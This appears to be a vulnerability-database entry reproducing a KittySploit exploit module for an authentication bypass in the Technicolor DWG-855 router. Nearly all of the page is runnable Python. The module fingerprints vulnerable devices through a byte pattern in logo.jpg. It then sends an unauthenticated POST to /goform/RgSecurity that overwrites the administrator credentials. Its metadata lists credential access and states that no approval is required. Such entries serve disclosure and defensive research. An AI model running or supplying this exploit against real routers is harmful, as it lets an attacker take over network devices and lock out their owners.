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Technicolor DWG-855 Auth Bypass

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
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Technicolor DWG-855 authentication bypass allows changing administrator password.

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Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Technicolor DWG-855 Auth Bypass"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'Technicolor DWG-855 Auth Bypass',
        'description': "Module exploits Technicolor DWG-855 Authentication Bypass vulnerability which allows changing administrator\\'s password. NOTE: This module will errase previous credentials, this is NOT stealthy.",
        'author': ['JPaulMora', '0BuRner'],
        
        'platform': Platform.LINUX,
        'references': ['Bug discovered some time before Aug 2016, this is the first reference to it!\nThis exploit works with any POST parameter, but changing admin creds gives you access to everything else.'],
        'tags': ['iot', 'router', 'unauth', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    nuser = OptString("ruser", "New user (overwrites existing user)")
    npass = OptString("rpass", "New password (overwrites existing password)")

    def run(self):
        if self.check():
            print_success("Target is vulnerable")
            print_status("Changing", self.target, "credentials to", self.nuser, ":", self.npass)
            headers = {'Content-Type': 'application/x-www-form-urlencoded'}
            data = {
                "HttpUserId": self.nuser,
                "Password": self.npass,
                "PasswordReEnter": self.npass,
                "RestoreFactoryNo": "0x00"
            }

            response = self.http_request(
                method="POST",
                path="/goform/RgSecurity",
                headers=headers,
                data=data
            )

            if response is None:
                print_error("Target did not answer request.")
            elif response.status_code == 401:
                # Server obeys request but then sends unauthorized response.
                # Here we send a GET request with the new creds.
                check_response = self.http_request(
                    method="GET",
                    path="/RgSwInfo.asp",
                    auth=(self.nuser, self.npass)
                )

                if check_response.status_code == 200:
                    print_success("Credentials changed!")
                elif response.status_code == 401:
                    print_error("Target answered, denied access.")
                else:
                    pass
            else:
                print_error("Unknown error.")
        else:
            print_error("Exploit failed - Target seems to be not vulnerable")
    def check(self):
        # The check consists in trying to access router resources
        # with incorrect creds. in this case logo.jpg Try it yourself!
        vulnresp = "\x11\x44\x75\x63\x6b\x79\x00"  # Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"

        response = self.http_request(
            method="GET",
            path="/logo.jpg",
            auth=("", "")
        )
        if response is not None and vulnresp in response.text:
            return True
        else:
            return False

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19 Aug 2026 05:37Current
5.9Medium risk
Vulners AI Score5.9
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